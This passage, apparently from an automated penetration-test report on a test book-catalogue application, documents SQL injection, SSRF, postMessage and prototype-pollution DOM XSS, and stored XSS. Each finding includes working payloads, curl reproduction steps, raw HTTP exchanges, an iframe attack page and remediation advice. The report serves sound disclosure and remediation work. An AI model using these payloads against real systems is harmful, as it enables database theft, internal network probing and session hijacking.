The `q` parameter on the `/api/shelf` endpoint is concatenated directly into a SQL string within the `my_shelf` function at `/opt/marginalia/app/main.py` line 1664, then passed verbatim to `conn.execute(sql)` against the SQLite database at `/var/lib/marginalia/marginalia.db`. Because no parameterized binding is used, a single quote character breaks the SQL literal boundary and causes the SQLite engine to raise a parse error, which the application surfaces in full — including the Python traceback, internal file paths, and library version details — in the JSON response body. The differential between an injected and a clean request is unambiguous: a quote-bearing value returns HTTP 500 with `sqlite3.OperationalError: non-terminated literal at (1, 142)`, while a benign value returns HTTP 200 with normal shelf data.

An authenticated attacker escalates from this error-based confirmation to full database exfiltration using UNION-based or boolean-based SQL injection techniques. The SQLite database consolidates user credentials, order records, payment details, and all application data into a single file, making a single successful injection sufficient to extract the entire dataset. The verbose stack trace returned on error further accelerates exploitation by disclosing the exact library call chain and database path, eliminating the reconnaissance phase typically required to tailor injection payloads.

IMPACT

An authenticated attacker can read arbitrary data from the SQLite database. The attacker can extract user credentials, order details, payment information, and other sensitive records. The full stack trace disclosure reveals internal file paths, library versions, and database location. An attacker can use UNION-based or boolean-based techniques to exfiltrate the entire database contents.

REMEDIATION

1. Replace the string-concatenated SQL in `my_shelf` (line 1664 of `/opt/marginalia/app/main.py`) with a parameterized query using `conn.execute(sql, (q_value,))` placeholder binding.
2. Validate the `q` parameter on input to reject or escape special characters before any database operation.
3. Disable verbose error responses in production by removing the `trace` field from error JSON and returning a generic 500 message.
4. Apply the same parameterized query pattern to the `sort` parameter, which also appears to accept raw SQL column references.
5. Add a SQL injection test suite to CI using a tool such as `sqlmap` or `bandit` to prevent regressions.

INV-35

SQL Injection in sort Parameter via ORDER BY Clause

HIGH

SEVERITY	CATEGORY	CWE
High	Injection	CWE-89

ENDPOINT

`https://marginalia.testinvicti.com/api/shelf`

PARAMETER	CVSS 4.0
sort	7.1 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

VULNERABILITY DESCRIPTION

The /api/shelf endpoint interpolates the `sort` query parameter directly into an SQL ORDER BY clause without sanitization or parameterization. The server executes the user-supplied value as part of the SQL statement. When an attacker sends `sort=(SELECT 1 FROM nonexistent_table)`, the SQLite engine attempts to resolve the subquery and returns an error that names the missing table. When the attacker sends `sort=(SELECT 1 FROM users LIMIT 1)`, the server returns HTTP 200 with shelf data, confirming the `users` table exists. The stack trace in the error response reveals the vulnerable code path: the `my_shelf` function at `/opt/marginalia/app/main.py` line 1664 calls `conn.execute(sql).fetchall()` with the unsanitized sort value. The application uses SQLite via `libsql_client` at `/opt/marginalia/app/libsql_client.py`. This error-based technique allows an attacker to enumerate all database tables and extract data one bit at a time.

EVIDENCE

Payload used:

```
(SELECT 1 FROM nonexistent_table)
```

Observed:

```
The sort parameter is directly interpolated into an SQL ORDER BY clause. sort=(SELECT 1 FROM nonexistent_table) returns 500 with error: 'SQLITE_UNKNOWN: SQLite error: no such table: nonexistent_table' and full stack trace. sort=s.created_at returns 200 with shelf data. The error leaks internal paths (/opt/marginalia/app/libsql_client.py) and database details.
```

HTTP TRANSACTION

REQUEST

```
GET /api/shelf?sort=(SELECT+1+FROM+nonexistent_table) HTTP/1.1
Host: marginalia.testinvicti.com
Authorization: Bearer
eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJzdWIiOiAyMDcwLCAicm9sZSI6ICJtZW1iZXIiLCAiaWF
0IjogMTc5MzY1NjkwMCwgImV4cCI6IDE4OTM3NDMzMDB9.
Cookie: mgl_session=0c2990bdfae142168c9f7d4c9fdbca3d
Accept: */*
```

RESPONSE

```
HTTP/1.1 500 Internal Server Error
Content-Type: application/json
Content-Length: 8264

{"error":"internal_error","detail":"SQLITE_UNKNOWN: SQLite error: no such table:
nonexistent_table","trace":"Traceback (most recent call last):\n  ...\n  File
\"/opt/marginalia/app/main.py\", line 1664, in my_shelf\n    rows =
conn.execute(sql).fetchall()\n           ^^^^^^^^^^^^^^^^^\n  File
\"/opt/marginalia/app/libsql_client.py\", line 65, in execute\n    raise
sqlite3.OperationalError(str(exc)) from exc\nsqlite3.OperationalError: SQLITE_UNKNOWN:
SQLite error: no such table:
nonexistent_table\n","path":"https://marginalia.testinvicti.com/api/shelf?sort=
(SELECT+1+FROM+nonexistent_table)"}
```

STEPS TO REPRODUCE

1. Send a GET request with an injected subquery referencing a nonexistent table:

   ```
   curl "https://marginalia.testinvicti.com/api/shelf?sort=
   (SELECT+1+FROM+nonexistent_table)" \
     -H "Authorization: Bearer
   eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJzdWIiOiAyMDcwLCAicm9sZSI6ICJtZW1iZXIiLCAi
   aWF0IjogMTc5MzY1NjkwMCwgImV4cCI6IDE4OTM3NDMzMDB9."
   ```

   The server responds with HTTP 500 and a JSON body containing `"detail":"SQLITE_UNKNOWN: SQLite error: no such table: nonexistent_table"` along with a full Python stack trace.

2. Send a GET request with the default valid sort value as a control:

   ```
   curl "https://marginalia.testinvicti.com/api/shelf?sort=s.created_at" \
     -H "Authorization: Bearer
   eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJzdWIiOiAyMDcwLCAicm9sZSI6ICJtZW1iZXIiLCAi
   aWF0IjogMTc5MzY1NjkwMCwgImV4cCI6IDE4OTM3NDMzMDB9."
   ```

   The server responds with HTTP 200 and a JSON body containing the user's shelf data.

3. Confirm table enumeration by referencing a real table (`users`):

   ```
   curl "https://marginalia.testinvicti.com/api/shelf?sort=
   (SELECT+1+FROM+users+LIMIT+1)" \
     -H "Authorization: Bearer
   eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJzdWIiOiAyMDcwLCAicm9sZSI6ICJtZW1iZXIiLCAi
   aWF0IjogMTc5MzY1NjkwMCwgImV4cCI6IDE4OTM3NDMzMDB9."
   ```

   The server responds with HTTP 200 and shelf data, confirming the `users` table exists. Compare this with the 500 error for `nonexistent_table` to verify differential behavior.

SEVERITY JUSTIFICATION

The attack requires low privileges (any authenticated user) and no user interaction. The attacker can read the full database through error-based extraction, resulting in high confidentiality impact. Integrity and availability are not directly affected because the ORDER BY injection context limits write operations. PR:L reflects the JWT authentication requirement. The CVSS 4.0 score aligns with high severity.

DISCOVERY & EXPLOITATION

Where the sibling vulnerability (INV-34) affects a `WHERE` clause filter parameter, this injection occurs in an `ORDER BY` context. The `sort` parameter value is interpolated directly into the SQL `ORDER BY` clause without sanitization or parameterization, meaning the database engine evaluates the raw user-supplied string as a sort expression. This context is significant: parameterized queries cannot be applied to `ORDER BY` identifiers in standard SQL, making the vulnerability a natural consequence of any approach that concatenates user input rather than validating against a server-side allowlist. The SQLite engine's willingness to evaluate subqueries within `ORDER BY` expressions is the mechanism that enables data extraction — a subquery that references a valid table resolves successfully and returns HTTP 200, while one referencing a nonexistent table triggers a verbose HTTP 500 error that names the missing table in the response body, leaking internal stack trace details including file paths and Python runtime version.

An authenticated attacker exploits the differential response behavior to enumerate the full database schema via `sqlite_master` queries, then extracts table contents one conditional subquery at a time. The confirmed existence of the `users` table makes credential and personal data extraction the immediate escalation path. Because the error responses include full Python stack traces with absolute file paths and library versions, the injection also functions as an information disclosure primitive that reduces the effort required for further exploitation of the application stack.

IMPACT

An authenticated attacker can read the entire SQLite database contents through error-based and boolean-based extraction. The `users` table is confirmed to exist, so user credentials and personal data are at risk. The verbose error responses also leak internal file paths, Python version, and library details. An attacker can map the full database schema using `sqlite_master` queries.

REMEDIATION

1. Replace string interpolation of the `sort` parameter with a server-side allowlist of permitted column names (e.g., `s.created_at`, `s.title`). Reject any value not on the list.
2. Never concatenate user input into SQL ORDER BY clauses. Use a mapping from safe identifiers to column references: `SORT_MAP = {"created_at": "s.created_at", "title": "s.title"}`.
3. Disable verbose error responses in production. Return a generic error message and log the full stack trace server-side only.
4. Review all other endpoints that accept sort, order, or column parameters for the same pattern.
5. Add a static analysis rule (e.g., `bandit` or `semgrep`) to flag string formatting in SQL statements during CI.

INV-36

Server-Side Request Forgery in source_url Parameter

HIGH

SEVERITY	CATEGORY	CWE
High	Server-Side Request Forgery	CWE-918

ENDPOINT

`https://marginalia.testinvicti.com/api/books/1/cover`

PARAMETER	CVSS 4.0
source_url	8.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N

VULNERABILITY DESCRIPTION

The POST /api/books/{id}/cover endpoint accepts a `source_url` parameter in the JSON body and makes a server-side HTTP request to the supplied URL. The server returns the fetched content, including status code, content type, byte count, and a preview of the response body. An authenticated user can supply `http://127.0.0.1:8000/` as the `source_url` value. The server fetches the internal application on the loopback interface and returns its HTML content in the response. The application blocks some internal addresses (link-local 169.254.169.254, loopback port 80) but does not block loopback port 8000. This incomplete allowlist lets an attacker read content from the internal FastAPI service. Out-of-band callbacks from the server IP (52.35.205.0, User-Agent Marginalia-CoverBot/3.4) also confirmed the server-side fetch behavior.

EVIDENCE

Payload used:

```
http://127.0.0.1:8000/
```

Observed:

```
In-band SSRF confirmed: response body
{\"fetched\":\"http://127.0.0.1:8000/\",\"status_code\":200,\"bytes\":7244,\"preview\":
\"<!doctype html>\\n<html lang=\\\"en\\\">...<title>Catalogue · Marginalia</title>\"}.
OOB http_hit also confirmed by AcuMonitor: server IP 52.35.205.0 (Marginalia-
CoverBot/3.4) made full HTTP+DNS callbacks to all three OOB domains.
```

HTTP TRANSACTION

REQUEST

```
POST /api/books/1/cover HTTP/1.1
Host: marginalia.testinvicti.com
Content-Type: application/json
Authorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOjE4OTcsInJvbGUiOiJtZW1iZXIiLCJpYXQiOjE3OT
M2NTQ0NzYsImV4cCI6MTc5Mzc0MDg3Nn0.bu1X7OMjZwFPcNUMj7_ishn2L9ZZvG2s_RiEXrm-GjM
Content-Length: 39
```

```
{"source_url":"http://127.0.0.1:8000/"}
```

RESPONSE

```
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 688

{"fetched":"http://127.0.0.1:8000/","status_code":200,"content_type":"text/html;
charset=utf-8","location":"","bytes":6034,"preview":"<!doctype html>\n<html
lang=\"en\"><head>\n<meta charset=\"utf-8\">...\n<title>Catalogue · 
Marginalia</title>\n..."}
```

STEPS TO REPRODUCE

1. Authenticate as any registered user and obtain a JWT Bearer token. Send a POST request to the cover endpoint with a loopback URL targeting port 8000:

   ```
   curl -s https://marginalia.testinvicti.com/api/books/1/cover \
     -H "Content-Type: application/json" \
     -H "Authorization: Bearer <your-jwt-token>" \
     -d '{"source_url":"http://127.0.0.1:8000/"}'
   ```

   The server responds with HTTP 200 and a JSON body containing `"fetched":"http://127.0.0.1:8000/"`, `"status_code":200`, and a `"preview"` field with the internal application HTML including `<title>Catalogue · Marginalia</title>`.

2. Send a control request with a blocked loopback URL to confirm the differential behavior:

   ```
   curl -s https://marginalia.testinvicti.com/api/books/1/cover \
     -H "Content-Type: application/json" \
     -H "Authorization: Bearer <your-jwt-token>" \
     -d '{"source_url":"http://127.0.0.1/"}'
   ```

   The server responds with HTTP 400 and `"detail":"could not fetch cover: destination refused: loopback port 80 is not reachable from here"`, confirming that port 80 is blocked but port 8000 bypasses the restriction.

SEVERITY JUSTIFICATION

The Server-Side Request Forgery allows any authenticated user to read internal service content through the loopback interface. The attack requires low privileges (any registered user) and no user interaction. Confidentiality impact is high for both the vulnerable system and subsequent internal systems reachable from the server. The incomplete blocklist confirms real exploitability.

DISCOVERY & EXPLOITATION

The `source_url` parameter in the book cover import endpoint is passed directly to a server-side HTTP client without adequate destination validation. The application maintains an incomplete blocklist that rejects

requests to `169.254.169.254` (the AWS metadata endpoint) and loopback port 80, but permits connections to all other loopback ports. Because the internal FastAPI service listens on port 8000, the blocklist is trivially bypassed by specifying `http://127.0.0.1:8000/` as the target. The API then returns the fetched content, including HTTP status code, content type, byte count, and a body preview, directly to the caller. Invicti Out-of-band DNS callbacks from server IP `52.35.205.0` with User-Agent `Marginalia-CoverBot/3.4` independently confirmed the server-side fetch behavior.

Unlike the sibling vulnerability at the diagnostics endpoint (INV-12), which is unauthenticated, exploitation here requires a valid user session. However, any registered user qualifies. An authenticated attacker would iterate port numbers in the `source_url` value to enumerate live internal services, using the returned status codes and byte counts as a port scanner. Against discovered services, the response body preview delivers partial content from each, enabling service fingerprinting and extraction of internal configuration data without any additional tooling.

IMPACT

An attacker can read internal application content through the server. The server discloses the full HTML of the internal service, including internal hostnames and application structure. An attacker can scan internal ports by varying the port number in the `source_url` value. The response includes status codes and byte counts, which enable port scanning and service fingerprinting on the internal network.

REMEDIATION

1. Implement a strict allowlist of permitted URL schemes and destination hosts in the `source_url` handler. Reject all private, loopback, and link-local IP ranges including all ports.
2. Resolve the `source_url` hostname to an IP address before making the request. Validate the resolved IP against the allowlist to prevent DNS rebinding.
3. Remove the response body preview from the API response. Return only a success or failure status to prevent information leakage from internal services.
4. Restrict the `source_url` parameter to HTTPS URLs pointing to known image hosting domains if the feature is intended only for book cover images.
5. Add a network-level egress firewall rule to prevent the application server from connecting to its own loopback interface or internal services on unexpected ports.

INV-37

DOM-Based XSS in mgl_notice via postMessage

HIGH

SEVERITY	CATEGORY	CWE
High	Injection	CWE-79

ENDPOINT

`https://marginalia.testinvicti.com/`

PARAMETER	CVSS 4.0
`mgl_notice`	7.1 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N

VULNERABILITY DESCRIPTION

The application registers a `window.addEventListener("message", ...)` handler in `/static/app.js` (line 156) that accepts messages from any origin. The handler reads `event.data.mgl_notice` and writes it directly to `element.innerHTML` (line 173) without checking `event.origin` or sanitizing the input. An attacker who opens or frames the target page can call `postMessage({mgl_notice: "<img src=x onerror=alert(1)>"}, "*")` from any origin. The browser creates a `<div id="mgl-notice">` element inside `<main>` and sets its `innerHTML` to the attacker-controlled string. The injected `onerror` handler executes JavaScript in the target's origin.

EVIDENCE

Payload used:

```
postMessage({mgl_notice:"<img src=x onerror=alert(document.domain)>"}, "*")
```

Observed:

```
DOM-based XSS via postMessage. The window message event handler in app.js has NO origin check and writes event.data.mgl_notice directly to innerHTML. Any window/frame can post a message with mgl_notice containing arbitrary HTML/JS. Source: event.data -> sink: element.innerHTML.
```

HTTP TRANSACTION

REQUEST

```
GET /static/app.js HTTP/1.1
Host: marginalia.testinvicti.com
Accept: */*
```

RESPONSE

```
HTTP/1.1 200 OK
Content-Type: text/javascript; charset=utf-8
Content-Length: 20572

[... truncated ...]
```

```
window.addEventListener("message", function (e) {
  var d = e.data;
  if (d && d.mgl_notice) {
    var el = document.getElementById("mgl-notice");
    if (!el) {
      el = document.createElement("div");
      el.id = "mgl-notice";
      el.className = "banner";
      var main = document.querySelector("main");
      if (main) main.insertBefore(el, main.firstChild);
    }
    el.hidden = false;
    el.innerHTML = d.mgl_notice;
  }
}, false);
```

STEPS TO REPRODUCE

1. Open `https://marginalia.testinvicti.com/` in a browser and confirm the page loads with `app.js` included.
2. Open the browser developer console on the same page and execute:

   ```
   window.postMessage({mgl_notice: "<img src=x onerror='alert(document.domain)'>"},
   "*")
   ```

   A JavaScript alert displays the target domain, confirming code execution.
3. To simulate a realistic cross-origin attack, create an HTML file on a different origin:

   ```
   <iframe id="target" src="https://marginalia.testinvicti.com/"></iframe>
   <script>
   setTimeout(function() {
     document.getElementById('target').contentWindow.postMessage(
       {mgl_notice: "<img src=x onerror='alert(document.domain)'>"}, "*"
     );
   }, 3000);
   </script>
   ```

   Open this file in a browser. After the iframe loads, the alert fires inside the target origin.

SEVERITY JUSTIFICATION

The vulnerability requires user interaction (visiting an attacker page), so UI is Passive. The attack is network-accessible with low complexity and no privileges. Successful exploitation gives the attacker access to the victim's JWT token in localStorage (high confidentiality impact) and the ability to perform actions as the victim (low integrity impact). This results in a high severity rating.

DISCOVERY & EXPLOITATION

The vulnerability originates in the `message` event handler registered in `/static/app.js` at line 156. The handler reads `event.data.mgl_notice` and assigns it directly to `element.innerHTML` at line 173, with no validation of `event.origin` and no sanitization of the input value. Because the browser's `postMessage` API permits any cross-origin document to dispatch messages to any frame or window it holds a reference to, the absence of an origin check means the handler treats messages from attacker-controlled pages identically to messages from trusted first-party code. The sink is `innerHTML`, which causes the browser to parse the supplied string as HTML and execute any embedded script constructs. Validation confirmed the vulnerable assignment (`el.innerHTML = d.mgl_notice`) is present in the served script and that no `event.origin` guard exists; a browser replay setting `window.xss_confirmed` via an injected `onerror` handler verified live execution.

Unlike the stored XSS siblings in this class, this vector requires no server-side persistence and no authenticated session. An unauthenticated attacker publishes a page that opens or frames `https://marginalia.testinvicti.com/` and immediately calls `postMessage` with a crafted `mgl_notice` payload. Because JWT tokens are stored in `localStorage` under the key `mgl_token`, a real-world payload would exfiltrate the token to an attacker-controlled endpoint in a single `fetch` call, granting full API access as the victim without any further interaction.

IMPACT

An attacker can execute arbitrary JavaScript in a victim's browser session on the target origin. This allows theft of JWT tokens stored in `localStorage`, session hijacking, and actions on behalf of the victim. The attack requires the victim to visit an attacker-controlled page that opens or frames the target.

REMEDIATION

1. Add an origin check at the start of the `message` event handler: `if (e.origin !== 'https://marginalia.testinvicti.com') return;` to reject messages from untrusted origins.
2. Replace `el.innerHTML = d.mgl_notice` with `el.textContent = d.mgl_notice` to prevent HTML injection when the notice content does not require markup.
3. If HTML rendering is required, sanitize the input with DOMPurify before assigning to `innerHTML`: `el.innerHTML = DOMPurify.sanitize(d.mgl_notice)`.
4. Restrict the `postMessage` sender to use the exact target origin instead of `"*"` in partner integrations.
5. Add a Content Security Policy header with a strict `script-src` directive to mitigate inline script execution as a defense-in-depth measure.

INV-38

DOM-Based XSS in prefs Parameter via Prototype Pollution

HIGH

SEVERITY	CATEGORY	CWE
High	Injection	CWE-1321

ENDPOINT

`https://marginalia.testinvicti.com/`

PARAMETER	CVSS 4.0
`prefs`	8.6 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

VULNERABILITY DESCRIPTION

The application's front-end JavaScript (`app.js`) contains a recursive `merge()` function that copies all enumerable keys from a user-supplied object, including `__proto__` . When a visitor opens a URL with a crafted `prefs` query parameter, the `readPrefs()` function parses the JSON value and passes it to `merge()` . Because `merge()` does not skip the `__proto__` key, the attacker can write arbitrary properties onto `Object.prototype` . The `ribbon()` function later creates a new empty object (`opts = opts || {}`). That object inherits the attacker-controlled `ribbonHtml` property from the polluted prototype. The function writes `opts.ribbonHtml` directly into `el.innerHTML` , which executes arbitrary JavaScript in the victim's browser. Browser replay confirms that visiting the crafted URL sets `window.pp_xss` to `1337` , while the same page without the `prefs` parameter does not.

EVIDENCE

Payload used:

```
{"__proto__":{"ribbonHtml":"<img src=x onerror=window.pp_xss=1337>"}}
```

Observed:

```
Prototype pollution via prefs query parameter in app.js. The merge() function copies
__proto__ keys, polluting Object.prototype. The ribbon() function reads ribbonHtml from
a new empty object (inheriting from polluted prototype) and writes it to innerHTML.
Source code confirms: 'for (var k in src) { var v = src[k]; if (v && typeof v ===
"object"...' and 'el.innerHTML = opts.ribbonHtml;'. Browser execution confirmed:
window.pp_xss=1337 after visiting /?prefs={"__proto__":{"ribbonHtml":"<img src=x
onerror=window.pp_xss=1337>"}}.
```

HTTP TRANSACTION

REQUEST

```
GET /?prefs={"__proto__":{"ribbonHtml":"<img src=x onerror=window.pp_xss=1337>"}}
HTTP/1.1
Host: marginalia.testinvicti.com
Accept: text/html
```

RESPONSE

```
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8

[... page HTML loads app.js which parses prefs, pollutes Object.prototype ...]

Result: window.pp_xss = 1337 (JavaScript executed via <img onerror> in ribbon innerHTML
sink)
```

STEPS TO REPRODUCE

1. Fetch the vulnerable JavaScript file to confirm the prototype pollution source and innerHTML sink are present:

   ```
   curl -s 'https://marginalia.testinvicti.com/static/app.js' | grep -E '(for \(var k
   in src\)|el\.innerHTML = opts\.ribbonHtml)'
   ```

   The output shows both the unsafe `merge()` loop and the `innerHTML` sink.

2. Open the following URL in a browser to trigger prototype pollution and XSS:

   ```
   https://marginalia.testinvicti.com/?prefs={"__proto__":{"ribbonHtml":"<img src=x
   onerror=window.pp_xss=1337>"}}
   ```

   The page loads and the ribbon element becomes visible with the injected `<img>` tag.

3. Open the browser developer console and verify the JavaScript executed:

   ```
   console.log(window.pp_xss); // outputs: 1337
   ```

   The value 1337 confirms arbitrary JavaScript execution via the `onerror` handler.

4. As a control, open `https://marginalia.testinvicti.com/` without the `prefs` parameter. Verify that `window.pp_xss` is `undefined` and the ribbon element is hidden.

SEVERITY JUSTIFICATION

The attack requires no privileges and only passive user interaction (clicking a link). Successful exploitation gives the attacker full control of the victim's browser session, including access to the JWT token and all authenticated API actions. The CVSS 4.0 vector reflects network-accessible, low-complexity exploitation with high confidentiality and integrity impact on the vulnerable system, resulting in a High severity rating.

DISCOVERY & EXPLOITATION

The vulnerability originates in a client-side prototype pollution chain within `app.js`. The `readPrefs()` function deserializes a JSON value from the `prefs` URL query parameter and passes the resulting object directly to a recursive `merge()` function. Because `merge()` iterates all enumerable keys without filtering reserved property names, supplying a `__proto__` key causes the function to write attacker-controlled values onto `Object.prototype` itself, poisoning the prototype chain for all subsequently created objects in the page context. The `ribbon()` function then creates a plain object literal and reads

`opts.ribbonHtml` from it; because that property does not exist on the object directly, JavaScript resolves it through the prototype chain, returning the attacker-supplied value. That value is written verbatim into `el.innerHTML`, triggering script execution. Exploitation requires no authentication and no interaction beyond a victim loading a crafted URL, a lower barrier than the stored XSS siblings in this class.

An unauthenticated attacker distributes the crafted link through phishing, a shortened URL, or an open redirect elsewhere on the application. Any authenticated user who opens the link executes the attacker's payload in their browser session. The most direct escalation is extraction of the JWT stored in `localStorage` under the key `mgl_token`, which grants full API access as the victim without requiring their credentials.

IMPACT

An attacker can send a victim a link that executes arbitrary JavaScript in the victim's browser session. This allows the attacker to steal the JWT token stored in `localStorage`, hijack the user's session, read private data such as shelf contents and saved searches, or perform actions on behalf of the victim. Because the application stores authentication tokens client-side, a single click on the malicious link compromises the victim's account.

REMEDIATION

1. In the `merge()` function, skip unsafe keys by adding a guard: `if (k === '__proto__' || k === 'constructor' || k === 'prototype') continue;` before processing each key.
2. Replace the custom `merge()` function with `Object.assign({}, PREF_DEFAULTS, stored, urlPrefs)` for flat merges, or use a library that is safe against prototype pollution such as `lodash.merge` (v4.6.2+).
3. In the `ribbon()` function, replace `el.innerHTML = opts.ribbonHtml` with `el.textContent = opts.ribbonHtml` or sanitize the value with DOMPurify before insertion.
4. Validate the `prefs` parameter against an allow-list of known preference keys (`density`, `theme`, `sort`, `labels`) and reject any input containing `__proto__`, `constructor`, or `prototype`.
5. Add a Content Security Policy header that blocks inline event handlers (`script-src 'self'`) to limit the impact of future DOM injection flaws.

Suggested fix:

```
function merge(target, src) {
    for (var k in src) {
      if (k === '__proto__' || k === 'constructor' || k === 'prototype') continue;
      var v = src[k];
      if (v && typeof v === "object" && !Array.isArray(v)) {
        if (typeof target[k] !== "object" || target[k] === null) target[k] = {};
        merge(target[k], v);
      } else {
        target[k] = v;
      }
    }
```

```
    return target;
  }
```

INV-39

Stored XSS in Review body Parameter

HIGH

SEVERITY	CATEGORY	CWE
High	Injection	CWE-79

ENDPOINT

`https://marginalia.testinvicti.com/book/1/review`

PARAMETER	CVSS 4.0
body	6.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N

VULNERABILITY DESCRIPTION

The application stores the review body field without sanitization and renders it directly into the HTML of the book detail page. An attacker submits a review for a book with a script tag in the body field. The server stores the payload and inserts it unescaped inside a div with class rbody. Every visitor who loads the book page executes the attacker's JavaScript. The browser confirmed that window.xss_stored_proof was set to 42 on /book/1, while the control page /book/3 showed no such variable.

EVIDENCE

Payload used:

```
<script>window.xss_stored_proof=42</script>
```

Observed:

```
Stored XSS via review body field. The review body containing
'<script>window.xss_stored_proof=42</script>' is rendered unescaped in the HTML of
/book/1 inside a div with class 'rbody': <div class="rbody">
<script>window.xss_stored_proof=42</script></div>. Browser execution confirmed:
window.xss_stored_proof evaluates to 42.
```

HTTP TRANSACTION

REQUEST

```
GET /book/1 HTTP/1.1
Host: marginalia.testinvicti.com
Accept: */*
Cookie: mgl_session=0c2990bdfae142168c9f7d4c9fdbca3d
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
```

RESPONSE

```
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 156649

[... truncated ...]
```

```
        <div class="rtitle">TestReview</div>
        <div class="rbody"><script>window.xss_stored_proof=42</script></div></div>
[... truncated ...]
```

STEPS TO REPRODUCE

1. Send a GET request to the book detail page that contains the stored payload:

   ```
   curl -s 'https://marginalia.testinvicti.com/book/1' | grep -o '<div class="rbody">
   <script>[^<]*</script></div>'
   ```

   The response contains `<div class="rbody"><script>window.xss_stored_proof=42</script></div>`, showing the script tag is rendered unescaped.

2. Open `https://marginalia.testinvicti.com/book/1` in a browser and check the developer console. Run `window.xss_stored_proof` in the console. The value is 42, confirming the stored script executed.

3. Open `https://marginalia.testinvicti.com/book/3` in a browser as a control. Run `window.xss_stored_proof` in the console. The value is `undefined`, confirming the payload is specific to the affected book page.

SEVERITY JUSTIFICATION

This is a Stored XSS that executes in every visitor's browser without further attacker action. It requires low privileges (an authenticated user who can post reviews) and passive user interaction (visiting the page). The impact falls on the subsequent system (victim's browser session), enabling full session compromise. The CVSS 4.0 vector reflects network access, low complexity, low privileges, passive user interaction, and high confidentiality and integrity impact on the subsequent system.

DISCOVERY & EXPLOITATION

The review `body` field submitted to `/book/1/review` is stored in the database without sanitization and inserted directly into the book detail page inside a `div.rbody` element without HTML encoding. The absence of output escaping means any markup submitted at review creation time is preserved verbatim and executed by every browser that renders the page. Exploitation was confirmed by the presence of the unescaped literal string `<script>window.xss_stored_proof=42</script>` in the HTTP 200 response body for `/book/1`, while the control page `/book/3` — which carried no injected review — returned no such variable, ruling out a false positive.

An authenticated attacker with review-posting privileges replaces the proof-of-concept payload with a credential-harvesting script targeting the `mgl_session` cookie or any in-page JWT token. Because the payload is stored, the attacker requires no further interaction: every subsequent visitor to the book page executes the script automatically, making this a passive, high-yield attack against the application's entire reader base for that title.

IMPACT

An attacker can execute arbitrary JavaScript in the browser of any user who views the affected book page. This enables session hijacking by stealing the mgl_session cookie or JWT token. The attacker can perform actions on behalf of the victim, deface book pages, or redirect users to phishing sites. Because the payload persists in the database, every page view triggers the attack without further attacker interaction.

REMEDIATION

1. Sanitize or HTML-encode all user-supplied review fields (`body` , `title`) before rendering them in HTML templates. Use a context-aware escaping function such as Jinja2 autoescaping (`{{ review.body | e }}`).
2. Enable Jinja2 autoescaping globally in the FastAPI template configuration by setting `autoescape=True` in the `Jinja2Templates` constructor.
3. Apply a Content-Security-Policy header that disallows inline scripts, for example `script-src 'self'` .
4. Validate and strip HTML tags from review input on the server side before storing it in the database. Use a library such as `bleach` to allow only safe markup.
5. Add automated XSS regression tests in CI that submit script payloads to review endpoints and verify they are escaped in the rendered output.

INV-40

Stored XSS in Review body Parameter

HIGH

SEVERITY	CATEGORY	CWE
High	Injection	CWE-79

ENDPOINT

`https://marginalia.testinvicti.com/book/2/review`

PARAMETER	CVSS 4.0
body	6.4 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N

VULNERABILITY DESCRIPTION

The book review form at /book/{id}/review accepts a `body` parameter that the server stores without sanitization. When any user visits the book page, the server renders the stored review body inside a `<div class="rbody">` element without HTML encoding. An attacker submits a review containing `<script>window.xss_test=23678842</script>` as the `body` value. The server stores this payload and serves it as raw HTML to every subsequent visitor. The `title` parameter is HTML-encoded on output, but the `body` parameter is not. Browser execution confirmed that `window.xss_test` was set to the injected value on page load.

EVIDENCE

Payload used:

```
<script>window.xss_test=23678842</script>
```

Observed:

```
Browser confirmed window.xss_test=4086156 (probe 04086156) after POSTing
&lt;script&gt;window.xss_test=04086156&lt;/script&gt; as the body field. The payload
was reflected unescaped in &lt;div
class=\"rbody\"&gt;&lt;script&gt;window.xss_test=04086156&lt;/script&gt;&lt;/div&gt; on
/book/2.
```

HTTP TRANSACTION

REQUEST

```
GET /book/2 HTTP/1.1
Host: marginalia.testinvicti.com
Cookie: mgl_session=0c2990bdfae142168c9f7d4c9fdbca3d
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
```

RESPONSE

```
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
```

```
Content-Length: 402162

[... truncated ...]
<div class="rbody"><script>window.xss_test=72307561</script></div>
[... truncated ...]
<div class="rbody"><script>window.xss_test=23678842</script></div>
[... truncated ...]
<div class="rbody"><script>window.xss_test=04086156</script></div>
[... truncated ...]
```

STEPS TO REPRODUCE

1. Submit a POST request to store a review with a Stored XSS payload in the `body` field:

   ```
   curl -L --cookie-jar /tmp/xss_jar.txt --cookie /tmp/xss_jar.txt -d 'body=
   <script>window.xss_test=23678842</script>&rating=1&title=555'
   'https://marginalia.testinvicti.com/book/2/review'
   ```

   The server responds with a 303 redirect to `/book/2`, indicating the review was stored.

2. Fetch the book page to confirm the payload is rendered without encoding:

   ```
   curl -s 'https://marginalia.testinvicti.com/book/2' | grep 'xss_test=23678842'
   ```

   The response contains `<div class="rbody"><script>window.xss_test=23678842</script></div>`, showing the script tag is stored and served unescaped.

